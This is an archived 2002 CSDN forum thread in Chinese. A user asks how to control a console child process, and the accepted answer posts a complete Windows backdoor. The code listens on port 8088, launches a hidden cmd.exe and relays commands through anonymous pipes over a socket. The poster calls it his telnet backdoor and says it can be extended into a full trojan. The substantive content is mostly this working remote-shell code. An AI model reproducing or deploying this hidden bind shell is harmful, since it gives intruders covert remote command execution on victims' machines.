CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
山寨机中的战斗机! 程序优化工程师到底对IT界有没有贡献
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  VC/MFC >  进程/线程/DLL

多进程

楼主yuehuazheng(boss)2002-08-24 08:57:39 在 VC/MFC / 进程/线程/DLL 提问

我在主进程里再创建了一个进程,该进程主要用于运行一个指定的控制台程序,比如bash程序,当我把bash运行起来之后,怎么才能使这个程序接收它自己的命令啦,比如dir命令。 问题点数:100、回复次数:11Top

1 楼snsins(初雪草)回复于 2002-08-24 09:05:07 得分 100

多进程?  
  用CreateProcess可以创建一个新进程  
  不知道你说的是创建新线程还是新进程  
  如果是创建一个新进程的话  
  那么你对这个新的进程控制权有限  
   
  而且WINDOWS下面不存在什么BASH  
  BASH是LINUX下的一个SHELL程序  
  Top

2 楼snsins(初雪草)回复于 2002-08-24 09:06:07 得分 0

创建一个新进程后,你能得到的就是这个新进程的句柄  
   
  至于别的,你不能像对线程一样随心所欲地控制  
  因为他是一个独立的进程  
  有自己的地址空间Top

3 楼yuehuazheng(boss)回复于 2002-08-24 09:12:11 得分 0

创建了一个进程,它就有一个主线程,  
  当我不知道怎么对它进行控制,  
  bash程序在window下也能运行  
  我要做的就是一个类似shell的东西Top

4 楼snsins(初雪草)回复于 2002-08-24 09:37:04 得分 0

ooooooooo  
   
  那你说是多进程?  
   
  每一个进程都有一个主线程  
  如果你在程序用没有创建新的线程,那么你的程序就是你的主线程  
  进程本身是不执行任何代码的  
   
  void   main()  
  {  
    cout<<"test";  
  }  
  上面这个简单的程序就是用主线程来执行   cout<<"test";  
  一般情况下,只要你在程序里没有创建新线程  
  那么程序就一直工作在主线程下Top

5 楼snsins(初雪草)回复于 2002-08-24 09:38:31 得分 0

要做个类似SHELL的东西?  
   
  如果是在WIN2K下,可以接管CMD.EXE的输入和输出  
  这样就可以得到一个标准WINDOWS的SHELL  
  而且你自己也可以扩展Top

6 楼snsins(初雪草)回复于 2002-08-24 09:40:58 得分 0

下面是我写的一个WIN2K下的TELNET后门中的一段代码  
  这个TELNET后门可以用WINDOWS自带的TELNET客户端连接到指定的端口  
  对远程计算机进行WINDOWS标准命令行操作  
   
  SECURITY_ATTRIBUTES   sa;  
  sa.nLength=12;  
  sa.lpSecurityDescriptor=0;  
  sa.bInheritHandle=true;  
  HANDLE   hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  
   
  ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);//创建两个匿名管道 ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);  
   
  STARTUPINFO   si;  
  ZeroMemory(&si,sizeof(si));  
  si.dwFlags   =   STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  
  si.wShowWindow   =   SW_HIDE;  
  si.hStdInput   =   hReadPipe2;  
  si.hStdOutput   =   si.hStdError   =   hWritePipe1;  
  char   cmdLine[]   =   "cmd.exe";  
  PROCESS_INFORMATION   ProcessInformation;  
  ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//将匿名管道和CMD.EXE输入输出关联起来Top

7 楼yuehuazheng(boss)回复于 2002-08-24 10:25:55 得分 0

讲匿名管道和CMD.EXE联系起来之后,是不是只要这个进程不关闭,我在CMD.EXE输入命令和,都能在管道中得到相应的输出。就好好比输出重定向到某个地方  
  ?Top

8 楼snsins(初雪草)回复于 2002-08-24 10:41:15 得分 0

现在你只要把命令写入到管道里传递给CMD.EXE,CMD.EXE就会执行你的命令,并且将结果通过管道传输出来  
   
  算了  
  我把后面的代码也贴出来吧,不过你最好多加点分哦,这是我写在一个线程里的,不过只要你看懂了,写到哪里去都可以:)  
   
  原理就是这个程序在远程机器上运行后,创建一个套接字,监听8088端口,并且将CMD.EXE与两个匿名管道连接起来,然后套接字阻塞等待客户机连接,当我们用TELNET客户端程序连接上远程机器的8088端口后,输入的命令通过套接字recv后保存在一个缓冲区里,然后用WriteFile写到匿名管道里传送给CMD.EXE里,CMD.EXE处理后把结果通过匿名管道写到一个缓冲区,套接字在把这个缓冲区send出去,这样我们就可以接收到远程SHELL的处理结果了  
   
   
  完整代码:  
   
  static   void   WINAPI   ThreadProc(void*   pVoid)  
  {  
  WSADATA   wsa;  
  SOCKET   serverFD;  
  char   Buff[1024];  
   
   
  WSAStartup(MAKEWORD(2,2),&wsa);//初始化套接字  
   
  serverFD   =   socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  
   
  struct   sockaddr_in   server;  
   
  server.sin_family   =   AF_INET;  
  server.sin_port   =   htons(iport);  
  server.sin_addr.s_addr=ADDR_ANY;  
  int   ret=bind(serverFD,(sockaddr   *)&server,sizeof(server));  
  ret=listen(serverFD,4);  
  int   iAddrSize   =   sizeof(server);  
   
  re: SOCKET   clientFD=accept(serverFD,(sockaddr   *)&server,&iAddrSize);  
  SECURITY_ATTRIBUTES   sa;  
  sa.nLength=12;  
  sa.lpSecurityDescriptor=0;  
  sa.bInheritHandle=true;  
  HANDLE   hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  
   
  ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);  
   
  STARTUPINFO   si;  
  ZeroMemory(&si,sizeof(si));  
  si.dwFlags   =   STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  
  si.wShowWindow   =   SW_HIDE;  
  si.hStdInput   =   hReadPipe2;  
  si.hStdOutput   =   si.hStdError   =   hWritePipe1;  
  char   cmdLine[]   =   "cmd.exe";  
  PROCESS_INFORMATION   ProcessInformation;  
  ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);  
   
  unsigned   long   lBytesRead;  
   
  while(1)    
  {  
  ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);  
  if(lBytesRead)    
  {  
  ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);  
  if(!ret)  
  break;  
  ret=send(clientFD,Buff,lBytesRead,0); if(ret<=0)    
  break;  
  }  
  else  
  {  
  lBytesRead=recv(clientFD,Buff,1024,0);  
  if(lBytesRead<=0)  
  break;  
  ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//  
  send(clientFD,Buff,lBytesRead,0);//这一句就是增加命令回显功能,在标准TELNET里,输入的命令是没有回显的,加了这一句就有了回显功能  
  if(!ret)   break;  
  }  
  }  
  goto   re;//这一句作用是当客户端断开连接后可以连接  
   
  return;  
  }  
   
  基本就这样,有问题再写出来  
  你需要别的功能  
  可以自己扩展,比如可以通过命名管道来传送文件啊什么的,这样就成了一个比较完善的木马了Top

9 楼snsins(初雪草)回复于 2002-08-24 10:42:34 得分 0

别忘记加点分:)Top

10 楼yuehuazheng(boss)回复于 2002-08-24 11:18:06 得分 0

原理大概就是这样吧,我下来慢慢试,先感谢老兄了  
  不过还有一个问题  
  怎么我结贴给分时,系统给出这样的提示:你给出分数和是:0;而贴子的分数是:100    
  我该怎么才能加上分呀  
  再一次感谢Top

11 楼snsins(初雪草)回复于 2002-08-24 11:20:36 得分 0

你要在我的名字后面的那个分数后面的框里填上100这个数字,然后再点“给分”那个按钮:)Top

相关问题

  • 求救:多进程控制
  • 多进程的问题
  • 多进程通信问题
  • 如何调试多进程?
  • 为什么 MySQL 里这么多进程……
  • ××××××× 问一个多进程的问题 ×××××××××××
  • informix /sqlc ,多进程操作,报-25587错
  • 多进程中如何共享API?
  • 多进程写文件速度问题
  • 多进程写文件速度问题

关键词

  • 线程
  • 进程
  • 创建
  • 程序
  • 主线程
  • bash
  • 就是

得分解答快速导航

  • 帖主:yuehuazheng
  • snsins

相关链接

  • Visual C++类图书
  • Visual C++类源码下载

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
北京创新乐知广告有限公司 版权所有, 京 ICP 证 070598 号
世纪乐知(北京)网络技术有限公司 提供技术支持
Copyright © 2000-2008, CSDN.NET, All Rights Reserved
GongshangLogo